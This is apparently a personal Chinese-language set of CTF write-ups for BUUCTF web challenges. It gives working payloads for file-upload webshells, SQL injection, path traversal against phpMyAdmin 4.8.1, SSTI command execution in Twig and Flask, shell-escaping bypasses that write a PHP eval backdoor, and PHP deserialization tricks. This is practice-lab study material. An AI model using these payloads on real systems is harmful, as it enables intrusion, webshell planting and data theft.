BUU 2025.10 Writeup
题目类型:图片马命令执行+.htaccess配置文件构造PHP后门
随便上传图片马,都提示上传失败,猜测是过滤了一些字符,在前面的[MRCTF2020]你传你🐎呢中有提到一些方法,我们先试着上传一个.htaccess文件
1 | <FilesMatch "1.jpeg"> |
点击上传时用burp抓包,修改Content-Type为: image/jpeg
上传成功
再继续上传图片马
1 | <script language="php">echo file_get_contents("/flag");</script> |

访问图片地址,得到flag

flag{882bc95e-c10a-4f84-9a00-c8fac872f89e}
[SUCTF 2019]CheckIn
题目类型:user.ini文件构成PHP后门+图片马命令执行
上传jpg文件,发现不能上传图片
上传.user.ini文件,前面的GIF是为了绕过检测;因为后台用exif_imagetype函数检测文件类型,所以我们在文件前加上图片的特征,来绕过检测。
1 | GIF89 |

上传成功后上传1.jpeg文件,命令执行
1 | GIF |

上传成功,访问图片地址

flag{294cb170-b8b5-4301-9315-930497cd7b19}
[GXYCTF2019]BabySQli
题目类型:md5比较bypass的题🪄
岁随便输入用户名密码,出现/search.php文件,查看源码得到提示

base32+base64解密得到:select * from user where username = ‘$name’
查看源码:
代码过滤了/\(|\)|\=|or/字符
password进行了md5加密,且用户必须是admin

爆字段数:name=admin’ Order by 3 #&pw=1(注意:这里的or被过滤,使用大小写绕过)
经测试admin在第三字段
- 猜测:
username数据表里面的3个字段分别是id、name、password。
猜测只有password字段位NULL
咱们给参数password传入的值是123
那么传进去后,后台就会把123进行md5值加密并存放到password字段当中
当我们使用查询语句的时候
我们pw参数的值会被md5值进行加密
然后再去与之前存入password中的md5值进行比较
如果相同就会输出flag
payload:
1 | name=1' union select 1,'admin','900150983cd24fb0d6963f7d28e17f72'#&pw=abc |
[打破常规的万能密码(GXYCTF2019]BabySQli) - 《学习笔记》 - 极客文档
[GYCTF2020]Blacklist
题目类型:堆叠注入+HANDLER OPEN语句🪄

判断:输入1;’,无报错,是堆叠注入
输入1’; SELECT 1 –+,发现过滤

1’;show databases;#

1’;show tables;#

1’; show columns from FlagHere;#

🔴sql注入查询表中数据的方法补充:
MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。
HANDLER OPEN语句打开一个表,使其可以使用后续HANDLER READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER CLOSE或会话终止之前不会关闭
【MySQL】MySQL 之 handler 的详细使用及说明_mysql handler-CSDN博客
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
payload解释:
1、打开句柄
1 | handler handler_table open; |
2、查看数据
1 | handler handler_table read first; |
3、关闭句柄
1 | handler handler_table close; |

[RoarCTF 2019]Easy Java
题目考点L:WEB-INF是java的WEB应用的安全目录

点开help提示:java.io.FileNotFoundException:{help.docx}
🔴WEB-INF:
关于WEB-INF目录及Tomcat部署方式、原理的简单理解-CSDN博客
- WEB-INF是java的WEB应用的安全目录。
- 1.WEB-INF/web.xml
- web应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则。
- 2.WEB-INF/classes
- 包含了站点所有用的class文件,包括servlet class和非servlet class
- 3.WEB-INF/lib
- 存放web应用需要的JAR文件
- 4.WEB-INF/src
- 源码目录,按照包名结构放置各个java文件
- 5.WEB-INF/database.properties
- 数据库配置文件
- 6.WEB-INF/tags
- 存放了自定义标签文件
- 7.WEB-INF/jsp
- jsp 1.2 一下版本的文件存放位置。
- 8.WEB-INF/jsp2
- 存放jsp2.0以下版本的文件。
- 9.META-INF
- 相当于一个信息包。
🪄漏洞形成原因:
Tomcat的WEB-INF目录,每个j2ee的web应用部署文件默认包含这个目录。
Nginx在映射静态文件时,把WEB-INF目录映射进去,而又没有做Nginx的相关安全配置(或Nginx自身一些缺陷影响)。从而导致通过Nginx访问到Tomcat的WEB-INF目录(请注意这里,是通过Nginx,而不是Tomcat访问到的,因为上面已经说到,Tomcat是禁止访问这个目录的)。
🪄漏洞利用方式:
直接在域名后面加上WEB-INF/web.xml就可以了。
根据web.xml配置文件路径或通常开发时常用框架命名习惯,找到其他配置文件或类文件路径。
dump class文件进行反编译。
简单来说:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。
改url,方法是POST:
1 | url/Download?filename=WEB-INF/web.xml |
下载了一个WEB-INF/web.xml文件,打开

看到了com.wm.FlagController,尝试下载FlagController.class文件
方法同样是POST:
1 | url/Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class |
打开文件发现:

这里找到了flag的base64编码后的数据,解码:flag{6b2f98a2-ff39-4463-9579-24006df62c41}
[CISCN2019 华北赛区 Day2 Web1]Hack World
题目类型:布尔盲注脚本

一些常见的SQL字符,很多都被过滤了,报错bool
bool盲注脚本
1 | # -*- coding:utf-8 -*- |

flag{4014f4de-9570-49f3-aa45-17474bccc0d9}
[BSidesCF 2020]Had a bad day
题目类型:php伪协议,文件包含

随便点一个,url出现参数

文件包含
/index.php?category=php://filter/convert.base64-encode/resource=index

解码得到index.php文件内容
1 | <html> |
其中,传入的category参数必须有woofers,meowers,index
1 |
|
目录穿越,返回原页面 /index.php?category=woofers/../flag

查看源码

文件包含flag:/index.php?category=php://filter/convert.base64-encode/index/resource=flag

解码:
1 | <!-- Can you read this flag? --> |
[网鼎杯 2018]Fakebook
题目类型:sql+ssrf+序列化+代码审计🪄
注册

发现用户名可以点开

点开发现sql注入

测试,?no=0时报错,数字型注入

字段为4

发现过滤,过滤了union select,用union/**/select绕过

username在2

?no=0 union/**/select 1,database(),3,4–+爆库名,fakebook

?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=”fakebook”

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=”users”

?no=-1 union/**/select 1,concat(data),3,4 from users

没有出flag
?no=0 union/**/select 1,concat(no,"\n",username,"\n",passwd,"\n",data),3,4 from users发现之前输入的信息在4

将信息放在4,返回原页面

扫目录发现robots.txt,flag.php


访问robots.txt,出现user.php.bar文件,访问下载,得源码
1 |
|
代码审计,发现ssrf漏洞
前面报错中出现var/www/html/db.php,猜测flag.php的路径var/www/html/flag.php,
ssrf访问文件可以用伪协议file://,把序列化字符串作为参数输入file:///var/www/html/flag.php

成功返回,查看元素

<!--?php$flag = "flag{4d38264e-54e6-4270-85c3-3f23b8161fe3}";exit(0);-->
[网鼎杯 2020 朱雀组]phpweb
题目类型:命令执行,代码审计,利用反序列化绕过
POST:func=highlight_file&p=/var/www/html/index.php,源码出现在页面上,发现过滤了很多方法
1 | <!DOCTYPE html> |
命令执行,被过滤

反序列化,列出目录

换上一级目录,都没有flag相关字段

直接查找名为flag的字段

第一个路径是flag路径

flag{3ece9c10-4ca6-4d89-9403-a6b076e09a51}
[BJDCTF2020]The mystery of ip
题目类型:SSTI模版注入
打开flag模块,出现ip
源码:

XFF:127.0.0.1

发现再XFF里放什么都会显示在页面上,考虑ssti

命令执行

flag

flag{1063240b-419a-42f5-855d-8e7cb0f153e7}
[BJDCTF2020]ZJCTF,不过如此
题目类型:代码审计,pre_replace()正则表达式替换函数🪄
1 |
|
1 | ?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php |

解码得源码:
1 |
|
这里的PHP版本是:5.6.40,preg_replace()+/e存在代码执行漏洞
🔴preg_replace()正则表达式替换函数
1.在 PHP 中,preg_replace 是一个强大的正则表达式替换函数。它可以在一个字符串中使用正则表达式搜索和替换指定的文本。
函数语法如下:
1 | preg_replace($pattern, $replacement, $subject); |
这里的 $pattern 是一个正则表达式字符串,用于指定搜索的模式, $replacement 是替换成的字符串, $subject 是要搜索和替换的原始字符串或字符串数组。
preg_replace 函数返回一个替换后的字符串或数组。如果没有任何匹配项,则返回原始字符串或数组。
示例 # 使用后向引用紧跟数值原文
1 |
|
以上示例会输出:
1 | April1,2003 |
2.这里的正则:
1 | function complex($re, $str) { |
- ( 开始定义一个捕获分组,并匹配其中的子表达式;
- $re 表示使用 $re 变量包含的正则表达式来作为子表达式;
- ) 结束定义捕获分组;
- / 结束定义正则表达式;
- e 操作符表示将匹配到的表达式当做 PHP 代码来执行;
- i 操作符表示匹配时忽略大小写的差异。
3.foreach循环把所有的参数对分次交给complex函数运行
4.getFlag一句话木马,”cmd”作为参数
所以需要构造两个参数:
- 作为正则表达式匹配条件的参数名 且 这个参数值为的”getFlag();”
- 参数名: 需要php执行的代码
1 | \S*=${getFlag()}&cmd=system('cat /flag'); |
✔️其中:\S*: \S* 是正则表达式中的一个元字符,它匹配任何非空白字符。
🔴PHP正则表达式的逆向引用与子模式分析:https://blog.csdn.net/qq_20408491/article/details/75095055
补充:PCRE函数详解:
payload:
/?text=data://text/pain,I have a dream&file=next.php&\S*=${getFlag()}&cmd=system('cat /flag');

flag{f8ac7a95-9c77-4c57-af88-1feea07e6dc1}
[BUUCTF 2018]Online Tool
题目类型:php命令执行+escapeshellarg()和escapeshellcmd()函数绕过🪄
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

1 | /e6305cd14dbe6e1fc4041d81cb3fc9ee/flag.php |
连蚁剑:


flag{a87a8cfc-48fb-4874-9e4f-cbb80eee7698}
🔴代码分析:
1 |
|
🔴escapeshellarg()和escapeshellcmd()函数
这两个是PHP中用于安全处理命令行参数的函数,但它们的组合使用有时会产生意外的结果,两个组合一起就会产生安全隐患。
escapeshellarg():
功能:将字符串转义为安全的shell参数
特点:
在整个字符串周围添加单引号
将字符串中已有的单引号转义为 '\''(先关闭引号,转义单引号,再打开引号)
确保字符串被当作一个整体参数传递
简单案例:
1 | $input = "it's"; |
escapeshellcmd():
功能:转义shell元字符
特点:
转义以下字符:#&;|*?~<>^()[]{}$`、换行符和回车符
不添加引号
主要用于转义整个命令中的特殊字符
实例:
1 | $input = "hello;world"; |
两个一起组合如何产生漏洞
当这两个函数组合使用时(特别是先escapeshellarg再escapeshellcmd),可能会产生漏洞:
1 | $input = "' <?php code ?> -oG evil.php '"; |
Bash解析时的行为:
1.开头处:''\\'' 被解析为字面字符串 \
开头的''是空字符串\\被解释为字面反斜杠''又是空字符串
2.中间的 <?php code ?> -oG evil.php因引号被破坏而成为独立参数
3.末尾:最后的'→ 可能被忽略或与后续内容关联'\\''' 可以拆解为以下部分:'\\' → 单引号包裹的两个反斜杠'' → 空字符串' → 未闭合的单引号(实际会与后续内容关联)
✔️相关习题:CISCN2024-Web方向__ezphp
[GXYCTF2019]禁止套娃
题目类型:git泄露+PHP代码审计
源码,抓包都没东西
扫目录发现git泄露

GitHack

发现index.php文件

1 |
|
分析PHP代码,需要通过GET参数exp执行代码来获取flag,且需满足以下限制:
- 不能使用
data://、filter://、php://、phar://等协议。 exp参数必须由函数调用组成,且函数调用只能有零个或一个参数(参数本身必须是函数调用),经preg_replace处理后仅剩分号。exp参数中不能包含字符串et、na、info、dec、bin、hex、oct、pi、log。
通过分析,可以使用以下payload来读取flag.php文件:
payload:
1 | ?exp=readfile(next(array_reverse(scandir(current(localeconv()))))); |
🔴解释:
localeconv():返回包含本地化信息的数组,其中decimal_point通常为字符串.。current(localeconv()):获取数组的第一个元素,即.。scandir(current(localeconv())):扫描当前目录(.)的文件,返回文件数组。array_reverse(scandir(current(localeconv()))):将文件数组反转,使原数组的最后一个元素成为第一个。next(array_reverse(scandir(current(localeconv())))):获取反转数组的第二个元素。在典型CTF环境中,目录仅包含.、..、flag.php和index.php,因此flag.php成为反转数组的第二个元素。readfile(...):读取并输出flag.php的内容。
此payload符合所有限制:
- 仅包含函数调用,且每个函数最多一个参数(参数为函数调用)。
- 不包含禁止的字符串。
- 不使用被禁止的协议。

源码中发现flag

[NCTF2019]Fake XML cookbook
题目类型:XXE
看源码,看到xml,考虑XXE

使用以下XXE Payload读取/flag文件(假设flag位于根目录):
1 |
|
flag~

flag{059c2dcd-2241-4135-87d9-1b3ddf27bd69}
[GWCTF 2019]我有一个数据库
题目类型:phpmyadmin数据库

扫目录,发现/phpmyadmin/index.php

访问进入phpMyAdmin数据库

发现数据库详细信息

已有数据库也没权限

✔️查询到phpmyadmin4.8.1版本(4.8.0 <= phpMyAdmin < 4.8.2)存在任意文件读取漏洞:
🔴phpMyAdmin 4.8.1数据库
phpMyAdmin 4.8.1 远程文件包含 CVE-2018-12613 漏洞复现_phpmyadmin 4.8.1远程文件包含漏洞(cve-2018-12613)-CSDN博客
使用Payload尝试:
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
出现根目录信息,文件包含漏洞存在

获取flag
phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag

flag{bd9b17ab-e72c-44c7-a169-6c3f6798ebc0}
[BJDCTF2020]Mark loves cat
题目类型:git泄露+php代码审计+foreach循环函数
随便上传,发现上传的内容会出现在url里,尝试sql注入,但是不是

源代码,抓包无发现
扫目录发现git泄露

用GitHack扫,python2的Git_Extract (是用于恢复.git文件)得到index.php,flag.php文件(本题环境应该有问题没恢复出来)
index.php:
1 |
|
flag.php:
1 |
|
AI分析给出payload:
?is=flag&flag=flag

flag{ef8c96a5-de5b-44af-9b55-39f8f51a8e26}
代码执行逻辑:
include 'flag.php'后,$flag被设置为真正的flag值。- 初始变量:
$yds = "dog",$is = "cat",$handsome = 'yds'。 - 处理GET参数:
is=flag:执行$$x = $$y即$is = $flag,所以$is变为flag值。flag=flag:执行$$x = $$y即$flag = $flag,无变化。
- 第三个foreach循环检查:由于
$_GET['flag']为'flag',且参数$x为'flag'时$x !== 'flag'为假,因此不触发退出。 - 检查
!isset($_GET['flag']) && !isset($_POST['flag']):条件不成立,因为$_GET['flag']已设置。 - 检查
$_POST['flag'] === 'flag' || $_GET['flag'] === 'flag':条件成立,因此退出并输出$is,即flag值。
通过此方法,响应中将包含flag。
代码分析:
1.exit()函数
exit函数的作用是输出一则消息并且终止当前脚本。
例如: $handsome=flag;
1 | exit($handsome); #输出flag |
2.foreach()函数
foreach循环函数作用是用来遍历数组,foreach 循环在处理数组时非常灵活,因为它可以遍历索引数组和关联数组(键值对数组)。

核心解题思路:
在flag.php中有提示
1 |
|
从index.php代码中有提示,flag在$flag中
1 | echo "the flag is: ".$flag; |
我们现在只需要输出$flag,即可得到我们想要的flag
✔️原文链接:https://blog.csdn.net/weixin_71913298/article/details/140244647
wp三种解法:
🪄核心解法1:$yds
payload为:?yds=flag
GET传入后$x=yds&$y=flag,覆盖为$yds=$flag
1 | if(!isset($_GET['flag']) && !isset($_POST['flag']))#不能同时GET和POST都设置flag |
这里没有添加flag参数,所以满足if条件。执行exit($flag)
🪄核心解法2:$handsome
payload为:?handsome=flag&flag=handsome
解:
第一步仍然是覆盖handsome,handsome=flag,得到$handsome=$flag
第二部如何满足if条件
1 | foreach($_GET as $x => $y){ |
这时$x=handsome&$y=flag。所以Get传入flag=handsome即可满足if条件。
并且执行变量覆盖代码后,$flag=$handsome,而$handsome=$flag,所以并不影响flag值。
🪄核心解法3:$is
payload为:?is=flag&flag=flag
此题不管如何GET和POST传入都会触发变量覆盖
1 | foreach($_POST as $x => $y){ |
既然此题都能触发变量覆盖,那我在这里使用POST传入,可以获得flag吗?若使用Post传入flag。$x=flag&$y=flag,$$x=$y-->$flag=flag。我们本来要执行exit($flag),要是$flag值被覆盖了,那不就输出不了flag了,所以这里只能使用Get方法发送。
1 | if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ |
is=flag是进行变量覆盖。flag=flag是为了满足if条件,执行exit($is)
最后$is=$flag达到我们想要的目的,同时$flag=$flag这对于我们需要的结果不产生影响
[WUSTCTF2020]朴实无华
题目类型:intval 绕过+双层MD5弱比较+空格绕过+cat绕过🪄

扫目录

直接访问,没东西

访问robots.txt

访问,假的flag😒

再抓个包,发现提示/fl4g.php

访问/fl4g.php,得到源码

翻译一下:
1 |
|
✔️有三次绕过
1 | if (isset($_GET['num'])){ |
第一个,要去num小于2020,且num+1大于2021.
🔴intval 绕过
这个函数是强制转换为int类型。经测试以下只适合php7.0及以下版本,7.2.23版本测试不可以(就算是字符串也直接解析科学记数法)
进行加 1 时会先将$a的科学计数法解析然后再加 1 。也就是说我们传入 12e3 第一次intval会为12 ,+1后会取得12001那么我们成功绕过了。
1 |
|
构造 num=3e4
第二个
1 | if (isset($_GET['md5'])){ |
🔴md5==md5($md5)
要求输入的值和它的md5值相同
构造:md5=0e215962017
第三个
1 | if (isset($_GET['get_flag'])){ |
命令执行先看目录
payload:
1 | ?num=2e4&md5=0e215962017&get_flag=ls |

🔴空格和cat过滤
- 代替cat: more、less、head、tail、sort、ca\t
- 代替空格:$IFS、${IFS}、$IFS$1、$IFS$9
最终payload:
1 | fl4g.php?num=3e4&md5=0e215962017&get_flag=ca\t$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag |

flag{84eaf188-2679-45a6-8724-4e82d4c3ab18}
[BJDCTF2020]Cookie is so stable
题目类型:SSTI的PHP Twig模板注入🪄
Hint:提示注意cookie


flag:随便注册
试试ssti,成功

尝试命令执行,被过滤

抓个包,发现cookie中有注入点

一个针对twig的攻击载荷:
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("命令")}} |
1 | payload:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}} |

SSTI:
- php常见的模板:twig,smarty,blade
- python常见的模板:Jinja2, tornado, Django
- java常见的引擎:FreeMarker, velocity
重点!!!:ssti注入模板参考文章:http://t.zoukankan.com/bmjoker-p-13508538.html
🔴Twig模板
一个针对twig的攻击载荷:
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("命令")}} |
twig常用的注入payload:《TWIG 全版本通用 SSTI payloads》
1 | {{'/etc/passwd'|file_excerpt(1,30)}} |
[MRCTF2020]Ezpop
题目类型:POP链+文件包含
1 | Welcome to index.php |
POP链:__wakeup ->__toString->__get->___invoke
| 魔术方法 | 触发方法 |
|---|---|
| __construct(): | 当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。(构造函数) |
| __destruct():1 | 当对象被销毁时会自动调用。(析构函数) |
| __wakeup(): | 使用unserialize时触发 |
| __sleep(): | 使用serialize时触发 |
| __call():1 | 在对象上下文中调用不可访问的方法时触发(不存在的方法) |
| __callStatic(): | 在静态上下文中调用不可访问的方法时触发 |
| __get(): | 用于从不可访问的属性读取数据 |
| __set():1 | 用于将数据写入不可访问的属性 |
| __isset(): | 在不可访问的属性上调用isset()或empty()触发 |
| __unset(): | 在不可访问的属性上使用unset()时触发 |
| __toString():1 | 把属性当作字符串使用时触发 |
| __invoke():1 | 当脚本尝试将对象调用为函数时触发 |
其中的
__toString触发的条件较多:
- echo (
$obj) / print($obj) 打印时会触发- 反序列化对象与字符串连接时
- 反序列化对象参与格式化字符串时
- 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
- 反序列化对象参与格式化SQL语句,绑定参数时
- 反序列化对象在经过php字符串函数,如
strlen()、addslashes()时- 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有
toString返回的字符串的时候toString会被调用- 反序列化的对象作为class_exists()的参数的时候
1 | //exp: |
payload:
1 | index.php?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00var%22%3Bs%3A9%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D |
返回:Help Me Find FLAG!

文件包含:
1 |
|
payload:
1 | index.php?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D |

解码:
1 |
|
[MRCTF2020]PYWebsite
题目类型:/.DS_Store文件+XFF改本地IP
扫目录,/.DS_Store

在线网站打开使用在线文件查看器在浏览器中在线打开和查看文件

1 | buy.htmlIlocblob code.pngIlocblob cssIlocblob flag.phpIlocblob imgIlocblob imgbwspblob bplist00 |
其中有flag.php文件,访问,提示IP被保存

试试XFF改本地IP

源码:flag{e28e2919-3d9a-4b0d-83ff-6ff806c08106}

[安洵杯 2019]easy_web
题目类型:md5绕过
提示:md5

url有点奇怪,index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=,base64解码两次得到:3535352e706e67
16进制解码:555.png,说明可以通过img读获取文件,index.php16进制编码696e6465782e706870,696e6465782e706870base64编码Njk2ZTY0NjU3ODJlNzA2ODcw,Njk2ZTY0NjU3ODJlNzA2ODcwbase64编码TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,
传入?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=

解码获得源码:
1 |
|
[安洵杯 2019]easy_web 1_安洵杯 easyweb1-CSDN博客
[WesternCTF2018]shrine
题目类型:ssti模板注入(flask)
1 | import flask |

- url_for这个可以用来构造url,接受函数名作为第一个参数
- get_flashed_message()是通过flash()传入闪现信息列表的,能够把字符串对象表示的信息加入到一个消息列表,然后通过调用get_flashed_message()来取出。
🔴Flask官方文档:https://flask.palletsprojects.com/en/1.0.x/api/#flask.get_flashed_messages
payload1:
这里的current_app意思是当前app,我们访问当前app的config
1 | /shrine/{{url_for.__globals__['current_app'].config}} |

payload2:
1 | /shrine/{{get_flashed_messages.__globals__['current_app'].config}} |

[安洵杯 2019]easy_serialize_php
题目类型:PHP反序列化字符逃逸
1 |
|
在PHP中,可以使用*serialize()函数将数据序列化为字符串,使用unserialize()*函数将字符串反序列化为数据。例如:
1 |
|
先看phpinfo();发现 d0g3_f1ag.php

1 | _SESSION['flag']=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} |

源码中得到flag信息 /d0g3_fllllllag


post传参构造反序列化:
利用替换函数,替换函数会将上传的字符串替换为空,所以上传flag不会被过滤。
过滤函数:代码中的
filter函数会移除序列化字符串中的php,flag,php5,php4,fl1g等关键词。通过注入_SESSION['flagflag'],键名flagflag中的flag会被过滤移除,值中的序列化字符串";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}在过滤后会被解析为新的键值对。如果使用
_SESSION['flag'],键名中的flag会被完全移除,序列化字符串中键名部分会变成s:4:"",但值中的序列化数据可能不会被正确解析,因为键名移除后可能无法有效破坏序列化结构,导致注入失败。反序列化漏洞:过滤后的序列化字符串在反序列化时,会解析注入的
img键值对,覆盖原有的img键,使$userinfo['img']变为ZDBnM19mMWFnLnBocA==(即d0g3_f1ag.php的base64编码)。键值逃逸
- 因为序列化的字符串是严格的,对应的格式不能错,比如s:4:“name”,那s:4就必须有一个字符串长度是4的否则就往后要。
- 并且反序列化会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号
{}外的就都被扔掉。 - 所以现在就需要把$_SESSION[‘img’] 的img属性放到花括号外边去。然后在花括号里面放我们需要的img属性,那么他本来要求的img属性就被咱们替换了。
读取flag:在
show_image功能中,file_get_contents(base64_decode($userinfo['img']))会读取d0g3_f1ag.php文件内容,从而获取flag。
1 | _SESSION['flagflag']=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} |
🪄payload解释:
首先我们需要构造img属性:
1 | s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; |
其中的ZDBnM19mMWFnLnBocA==是d0g3_f1ag.php的base64加密的结果
然后在这个属性前面随便加上个序列化字符串(只要是合法的就行),比如:
1 | ;s:1:“1”; |
🪄使用flagflag的解释:绕过黑名单
字符串(用phpflag解释):
1 | a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";} |
经过filter过滤后phpflag就会被替换成空
s:7:“phpflag”就变成了 s:7:””
但是这里会出现问题,因为这里要求的字符串的长度为7,但是这里却是空字符串。所以它会向后索取字符串。直到长度正好为7。
细心的话,可以看到 “;s:48: 这个字符串的长度正好为7
当phpflag被替换成空字符串时,原本的键值对就变成:
- 第一个变量的名: s:7:””;s:48:”;
- 第一个变量的值: s:1:“1”;
- 第二个变量的名: s:3:“img”;
- 第二个变量的值: s:20:“ZDBnM19mMWFnLnBocA==”;
再加上PHP序列化的严格规定,会把后面多余的字符串丢弃。就变成了:
1 | a:1:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} |
🔴PHP反序列化字符逃逸
PHP反序列化字符逃逸是一种通过修改序列化字符串的长度来导致反序列化漏洞的技术。其核心思想是利用字符替换或修改操作,使得序列化字符串的长度发生变化,从而在反序列化过程中产生意外的结果。
反序列化字符逃逸的两种情况
在这种情况下,通过替换操作使得序列化字符串的长度变长,从而导致反序列化时读取的字符数超过预期。例如:
1 |
|
在上述代码中,filter函数将字符串中的bb替换为ccc,导致序列化字符串的长度变长。通过这种方式,可以在不直接修改*$pass*值的情况下,间接修改其值。
在这种情况下,通过替换操作使得序列化字符串的长度变短,从而导致反序列化时读取的字符数少于预期。例如:
1 |
|
在上述代码中,str_rep函数将字符串中的php和test替换为空,导致序列化字符串的长度变短。通过这种方式,可以在不直接修改*$number*值的情况下,间接修改其值。
总结:
PHP反序列化字符逃逸的关键在于利用字符替换或修改操作,使得序列化字符串的长度发生变化,从而在反序列化过程中产生意外的结果。通过这种技术,可以在不直接修改变量值的情况下,间接修改其值,从而实现攻击目的。
以上习题知识点整理+查缺补漏
知识点整理:
图片马命令执行+.htaccess配置文件构造PHP后门
<script language="php">echo file_get_contents("/flag");</script>user.ini文件构成PHP后门+图片马命令执行(一句话木马同上)
md5比较bypass的题🪄(sql注入)
堆叠注入(判断:输入1;’,无报错,是堆叠注入)+
HANDLER OPEN语句🪄(sql注入查询表中数据的一种方法)handler FlagHere open;handler FlagHere read first;handler FlagHere close;#WEB-INF是java的WEB应用的安全目录(直接在域名后面加上WEB-INF/web.xml就可以了)
布尔盲注脚本
pre_replace()正则表达式替换函数🪄
escapeshellarg()和escapeshellcmd()函数绕过🪄
' <?php @eval($_POST["hack"]);?> -oG hack.php 'phpmyadmin数据库
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwdexit()函数,foreach()函数
intval 绕过+双层MD5弱比较
twig的攻击载荷:
1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("命令")}}
/.DS_Store文件
ssti模板注入(flask)
url_for这个可以用来构造url,接受函数名作为第一个参数
get_flashed_message()是通过flash()传入闪现信息列表的,能够把字符串对象表示的信息加入到一个消息列表,然后通过调用get_flashed_message()来取出。
PHP反序列化字符逃逸
重点!!!:ssti注入模板参考文章:http://t.zoukankan.com/bmjoker-p-13508538.html